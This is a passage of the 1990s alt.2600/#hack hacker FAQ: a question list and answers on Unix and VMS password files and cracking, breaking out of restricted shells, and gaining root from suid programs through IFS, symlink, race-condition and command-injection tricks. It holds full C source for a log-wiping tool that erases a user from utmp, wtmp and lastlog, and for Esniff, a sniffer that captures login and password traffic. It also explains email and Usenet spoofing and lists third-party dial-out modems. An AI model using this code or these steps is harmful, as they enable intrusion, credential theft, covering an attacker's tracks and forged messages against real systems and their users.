File 1/1 By: Voyager(but edited by Xoo) "The 2600 Hacker Guide" Section A: Computers 01. How do I access the password file under Unix? 02. How do I crack Unix passwords? 03. What is password shadowing? 04. Where can I find the password file if it's shadowed? 05. What is NIS/yp? 06. What are those weird characters after the comma in my passwd file? 07. How do I access the password file under VMS? 08. How do I crack VMS passwords? 09. How do I break out of a restricted shell? 10. How do I gain root from a suid script or program? 11. How do I erase my presence from the system logs? 12. How do I send fakemail? 13. How do I fake posts to UseNet? 14. How do I hack ChanOp on IRC? 15. How do I modify the IRC client to hide my real username? 16. How to I change to directories with strange characters in them? 17. What is ethernet sniffing? 18. What is an Internet Outdial? U 19. What are some Internet Outdials? U 20. What is this system? U 21. What are the default accounts for XXX ? U 22. What port is XXX on? U 23. What is a trojan/worm/virus/logic bomb? U 24. How can I protect myself from viruses and such? N 25. Where can I get more information about viruses? 26. What is Cryptoxxxxxxx? 27. What is PGP? 28. What is Tempest? 29. What is an anonymous remailer? 30. What are the addresses of some anonymous remailers? 31. How do I defeat copy protection? 32. What is 127.0.0.1? N 33. How do I post to a moderated newsgroup? Section B: Telephony 01. What is a Red Box? 02. How do I build a Red Box? U 03. Where can I get a 6.5536Mhz crystal? 04. Which payphones will a Red Box work on? 05. How do I make local calls with a Red Box? 06. What is a Blue Box? U 07. Do Blue Boxes still work? 08. What is a Black Box? U 09. What do all the colored boxes do? 10. What is an ANAC number? U 11. What is the ANAC number for my area? 12. What is a ringback number? U 13. What is the ringback number for my area? 14. What is a loop? U 15. What is a loop in my area? U 16. What is a CNA number? U 17. What is the telephone company CNA number for my area? U 18. What are some numbers that always ring busy? U 19. What are some numbers that temporarily disconnect phone service? U 20. What is scanning? 21. Is scanning illegal? 22. Where can I purchase a lineman's handset? 23. What are the DTMF frequencies? 24. What are the frequencies of the telephone tones? 25. What are all of the * (LASS) codes? 26. What frequencies do cordless phones operate on? N 27. What is Caller-ID? N 28. What is a PBX? N 29. What is a VMB? Section C: Resources U 01. What are some ftp sites of interest to hackers? N 02. What are some fsp sites of interest to hackers? 03. What are some newsgroups of interest to hackers? U 04. What are some telnet sites of interest to hackers? 05. What are some gopher sites of interest to hackers? U 06. What are some World wide Web (WWW) sites of interest to hackers? U 07. What are some IRC channels of interest to hackers? U 08. What are some BBS's of interest to hackers? U 09. What are some books of interest to hackers? N 10. What are some videos of interest to hackers? U 11. What are some mailing lists of interest to hackers? 12. What are some print magazines of interest to hackers? N 13. What are some e-zines of interest to hackers? 14. What are some organizations of interest to hackers? U 15. Where can I purchase a magnetic stripe encoder/decoder? 16. What are the rainbow books and how can I get them? Section D: 2600 01. What is alt.2600? 02. What does "2600" mean? 03. Are there on-line versions of 2600 available? 04. I can't find 2600 at any bookstores. What can I do? 05. Why does 2600 cost more to subscribe to than to buy at a newsstand? Section E: Miscellaneous U 01. What does XXX stand for? 02. How do I determine if I have a valid credit card number? 03. What bank issued this credit card? U 04. What are the ethics of hacking? 05. Where can I get a copy of the alt.2600/#hack FAQ? U == Updated since last release of the alt.2600/#hack FAQ N == New since last release of the alt.2600/#hack FAQ Section A: Computers ~~~~~~~~~~~~~~~~~~~~ 01. How do I access the password file under Unix? In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. 02. How do I crack Unix passwords? Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password. Password cracking software uses wordlists. Each word in the wordlist is encrypted and the results are compared to the encrypted form of the target password. The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. 03. What is password shadowing? Password shadowing is a security system where the encrypted password field of /etc/passwd is replaced with a special token and the encrypted password is stored in a separate file which is not readable by normal system users. To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file. Example: #include main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } 04. Where can I find the password file if it's shadowed? Unix Path Token ----------------------------------------------------------------- AIX 3 /etc/security/passwd ! or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * 05. What is NIS/yp? NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machines on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file that includes a line that looks like this: +::0:0::: To view the real password file use this command "ypcat passwd" 06. What are those weird characters after the comma in my passwd file? The characters are password aging data. Password aging forces the user to change passwords after a System Administrator specified period of time. Password aging can also force a user to keep a password for a certain number of weeks before changing it. ] ] Sample entry from /etc/passwd with password aging installed: ] ] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash ] Note the comma in the encrypted password field. The characters after the comma are used by the password aging mechanism. ] ] Password aging characters from above example: ] ] M.z8 ] The four characters are interpreted as follows: 1: Maximum number of weeks a password can be used without changing. 2: Minimum number of weeks a password must be used before changing. 3&4: Last time password was changed, in number of weeks since 1970. Three special cases should be noted: If the first and second characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will not be subjected to password aging requirements again. If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. Password aging will then occur as defined by the first and second characters. If the first character (MAX) is less than the second character (MIN), the user is not allowed to change his/her password. Only root can change that users password. It should also be noted that the su command does not check the password aging data. An account with an expired password can be su'd to without being forced to change the password. Password Aging Codes +------------------------------------------------------------------------+ | | | Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H | | Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | | | | Character: I J K L M N O P Q R S T U V W X Y Z a b | | Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | | | | Character: c d e f g h i j k l m n o p q r s t u v | | Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | | | | Character: w x y z | | Number: 60 61 62 63 | | | +------------------------------------------------------------------------+ 07. How do I access the password file under VMS? Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file. 08. How do I crack VMS passwords? Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT. Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD. 09. How do I break out of a restricted shell? On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command: :set shell=/bin/sh then shell using this command: :shell 10. How do I gain root from a suid script or program? 1. Change IFS. If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments. If the program contains a line that looks like this: system("/bin/date") and you change IFS to '/' the shell will them interpret the proceeding line as: bin date Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date. To change IFS, use this command: IFS='/';export IFS # Bourne Shell setenv IFS '/' # C Shell export IFS='/' # Korn Shell 2. link the script to -i Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts. Example: % ln suid.sh -i % -i # 3. Exploit a race condition Replace a symbolic link to the program with another program while the kernel is loading /bin/sh. Example: nice -19 suidprog ; ln -s evilprog suidroot 4. Send bad input to the program. Invoke the name of the program and a separate command on the same command line. Example: suidprog ; id 11. How do I erase my presence from the system logs? Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose. Example: #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } 12. How do I send fakemail? Telnet to port 25 of the machine you want the mail to appear to originate from. Enter your message as in this example: HELO bellcore.com MAIL FROM:Voyager@bellcore.com RCPT TO:president@whitehouse.gov DATA Please discontinue your silly Clipper initiative. . QUIT On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first. For more information read RFC 822 "Standard for the format of ARPA Internet text messages." 13. How do I fake posts to UseNet? Use inews to post. Give inews the following lines: From: Newsgroups: Subject: Message-ID: Date: Organization: For a moderated newsgroup, inews will also require this line: Approved: Then add your post and terminate with . Example: From: Eric S. Real Newsgroups: alt.hackers Subject: Pathetic bunch of wannabe losers Message-ID: Date: Fri, 13 Aug 1994 12:15:03 Organization: Moral Majority A pathetic bunch of wannabe losers is what most of you are, with no right to steal the honorable title of `hacker' to puff up your silly adolescent egos. Get stuffed, get lost, and go to jail. Eric S. Real ^D Note that many systems will append an Originator: line to your message header, effectively revealing the account from which the message was posted. 14. How do I hack ChanOp on IRC? Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose. 15. How do I modify the IRC client to hide my real username? Get the IRC client from cs.bu.edu /irc/clients. Look at the source code files irc.c and ctcp.c. The code you are looking for is fairly easy to spot. Change it. Change the username code in irc.c and the ctcp information code in ctcp.c. Compile and run your client. Here are the diffs from a sample hack of the IRC client. Your client code will vary slightly depending on what IRC client version you are running. *** ctcp.c.old Wed Feb 10 10:08:05 1993 --- ctcp.c Fri Feb 12 04:33:55 1993 *************** *** 331,337 **** struct passwd *pwd; long diff; int uid; ! char c; /* * sojge complained that ircII says 'idle 1 seconds' --- 331,337 ---- struct passwd *pwd; long diff; int uid; ! char c, *fing; /* * sojge complained that ircII says 'idle 1 seconds' *************** *** 348,354 **** if (uid != DAEMON_UID) { #endif /* DAEMON_UID */ ! if (pwd = getpwuid(uid)) { char *tmp; --- 348,356 ---- if (uid != DAEMON_UID) { #endif /* DAEMON_UID */ ! if (fing = getenv("IRCFINGER")) ! send_ctcp_reply(from, ctcp->name, fing, diff, c); ! else if (pwd = getpwuid(uid)) { char *tmp; *** irc.c.old Wed Feb 10 06:33:11 1993 --- irc.c Fri Feb 12 04:02:11 1993 *************** *** 510,516 **** malloc_strcpy(&my_path, "/"); if (*realname == null(char)) strmcpy(realname, "*Unknown*", REALNAME_LEN); ! if (*username == null(char)) { if (ptr = getenv("USER")) strmcpy(username, ptr, NAME_LEN); --- 510,518 ---- malloc_strcpy(&my_path, "/"); if (*realname == null(char)) strmcpy(realname, "*Unknown*", REALNAME_LEN); ! if (ptr = getenv("IRCUSER")) ! strmcpy(username, ptr, NAME_LEN); ! else if (*username == null(char)) { if (ptr = getenv("USER")) strmcpy(username, ptr, NAME_LEN); 16. How to I change to directories with strange characters in them? These directories are often used by people trying to hide information, most often warez (commercial software). There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information: From the man page for ls: -F Causes directories to be marked with a trailing ``/'', executable files to be marked with a trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol. -q Forces printing of non-graphic characters in filenames as the character ``?''. -b Forces printing of non-graphic characters in the \ddd notation, in octal. Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat -t -v -e filename" to see exactly what those bizarre little characters are. From the man page for cat: -v Causes non-printing characters (with the exception of tabs, newlines, and form feeds) to be displayed. Control characters are displayed as ^X (x), where X is the key pressed with the key (for example, m is displayed as ^M). The character (octal 0177) is printed as ^?. Non-ASCII characters (with the high bit set) are printed as M -x, where x is the character specified by the seven low order bits. -t Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the -v option is not specified. -e Causes a ``$'' character to be printed at the end of each line (prior to the new-line). This option is ignored if the -v option is not set. If the directory name includes a or a you will need to enclose the entire directory name in quotes. Example: cd ".." On an IBM-PC, you may enter these special characters by holding down the key and entering the decimal value of the special character on your numeric keypad. When you release the key, the special character should appear on your screen. An ASCII chart can be very helpful. Sometimes people will create directories with some of the standard stty control characters in them, such as ^Z (suspend) or ^C (intr). To get into those directories, you will first need to user stty to change the control character in qustion to another character. From the man page for stty: Control assignments control-character C Sets control-character to C, where control-character is erase, kill, intr (interrupt), quit, eof, eol, swtch (switch), start, stop or susp. start and stop are available as possible control char- acters for the control-character C assignment. If C is preceded by a caret (^) (escaped from the shell), then the value used is the corresponding con- trol character (for example, ^D is a d; ^? is interpreted as DELETE and ^- is interpreted as unde- fined). Use the stty -a command to see your current stty settings, and to determine which one is causing you problems. 17. What is ethernet sniffing? Ethernet sniffing is listening (with software) to the raw ethernet device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password." Many ethernet sniffers are available, here are a few that may be on your system now: OS Sniffer ~~ ~~~~~~~ HP/UX nettl (monitor) & netfmt (display) nfswatch /* Available via anonymous ftp */ Irix nfswatch /* Available via anonymous ftp */ Etherman SunOS etherfind nfswatch /* Available via anonymous ftp */ Solaris snoop DOS ETHLOAD /* Available via anonymous ftp as */ /* ethld104.zip */ The Gobbler /* Available via anonymous ftp */ LanPatrol LanWatch Netmon Netwatch Netzhack /* Available via anonymous ftp at */ /* mistress.informatik.unibw-muenchen.de */ /* /pub/netzhack.mac */ Macintosh Etherpeek Here is source code for an ethernet sniffer: /* Esniff.c */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIMENext; \ if(CLe->Time ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( (TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, "nbuf") < 0) Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)𝔦 if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long)hdrp->nhb_msglen); } } Pexit((-1),"Eth: read"); } /* Authorize your proogie,generate your own password and uncomment here */ /* #define AUTHPASSWD "EloiZgZejWyms" */ void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ LOG=NULL; device=NULL; while((acifr_name; } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } if(backg) { register int s; if((s=fork())>0) { fprintf(ERR,"[pid %d]\n",s); exit(0); } else if(s<0) Pexit(1,"fork"); if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); } 18. What is an Internet Outdial? An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's. 19. What are some Internet Outdials? This FAQ answer is excerpted from CoTNo #5: Internet Outdial List v3.0 by Cavalier and DisordeR Introduction ------------ There are several lists of Internet outdials floating around the net these days. The following is a compilation of other lists, as well as v2.0 by DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author just ripped other people and released it, we have sat down and tested each one of these. Some of them we have gotten "Connection Refused" or it timed out while trying to connect...these have been labeled dead. Working Outdials ---------------- as of 12/29/94 NPA IP Address Instructions --- ---------- ------------ 215 isn.upenn.edu modem 217 dialout.cecer.army.mil atdt x,xxxXXXXX 218 modem.d.umn.edu atdt9,xxxXXXX 303 yuma.acns.colostate.edu 3020 412 gate.cis.pitt.edu tn3270, connect dialout.pitt.edu, atdtxxxXXXX 413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx 502 outdial.louisville.edu 502 uknet.uky.edu connect kecnet @ dial: "outdial2400 or out" 602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy 614 ns2400.acs.ohio-state.edu 614 ns9600.acs.ohio-state.edu 713 128.249.27.153 atdt x,xxxXXXX 714 modem.nts.uci.edu atdt[area]0[phone] 804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx 804 ublan2.acc.virginia.edu connect telnet connect hayes Need Password ------------- 206 rexair.cac.washington.edu This is an unbroken password 303 yuma.ACNS.ColoState.EDU login: modem 404 128.140.1.239 .modem8|CR 415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1" 514 cartier.CC.UMontreal.CA externe,9+number 703 wal-3000.cns.vt.edu dial2400 -aa Dead/No Connect --------------- 201 idsnet 202 modem.aidt.edu 204 dial.cc.umanitoba.ca 204 umnet.cc.manitoba.ca "dial12" or "dial24" 206 dialout24.cac.washington.edu 207 modem-o.caps.maine.edu 212 B719-7e.NYU.EDU dial3/dial12/dial24 212 B719-7f.NYU.EDU dial3/dial12/dial24 212 DIALOUT-1.NYU.EDU dial3/dial12/dial24 212 FREE-138-229.NYU.EDU dial3/dial12/dial24 212 UP19-4b.NYU.EDU dial3/dial12/dial24 215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy" 218 aa28.d.umn.edu "cli" "rlogin modem" at "login:" type "modem" 218 modem.d.umn.edu Hayes 9,XXX-XXXX 301 dial9600.umd.edu 305 alcat.library.nova.edu 305 office.cis.ufl.edu 307 modem.uwyo.edu Hayes 0,XXX-XXXX 313 35.1.1.6 dial2400-aa or dial1200-aa or dialout 402 dialin.creighton.edu 402 modem.criegthon.edu 404 broadband.cc.emory.edu ".modem8" or ".dialout" 408 dialout.scu.edu 408 dialout1200.scu.edu 408 dialout2400.scu.edu 408 dialout9600.scu.edu 413 dialout.smith.edu 414 modems.uwp.edu 416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx 416 pacx.utcs.utoronto.ca modem 503 dialout.uvm.edu 513 dialout24.afit.af.mil 513 r596adi1.uc.edu 514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx 517 engdial.cl.msu.edu 602 dial9600.telcom.arizona.edu 603 dialout1200.unh.edu 604 dial24-nc00.net.ubc.ca 604 dial24-nc01.net.ubc.ca 604 dial96-np65.net.ubc.ca 604 gmodem.capcollege.bc.ca 604 hmodem.capcollege.bc.ca 609 128.119.131.11X (X= 1 - 4) Hayes 609 129.119.131.11x (x = 1 to 4) 609 wright-modem-1.rutgers.edu 609 wright-modem-2.rutgers.edu 612 modem_out12e7.atk.com 612 modem_out24n8.atk.com 614 ns2400.ircc.ohio-state.edu "dial" 615 dca.utk.edu 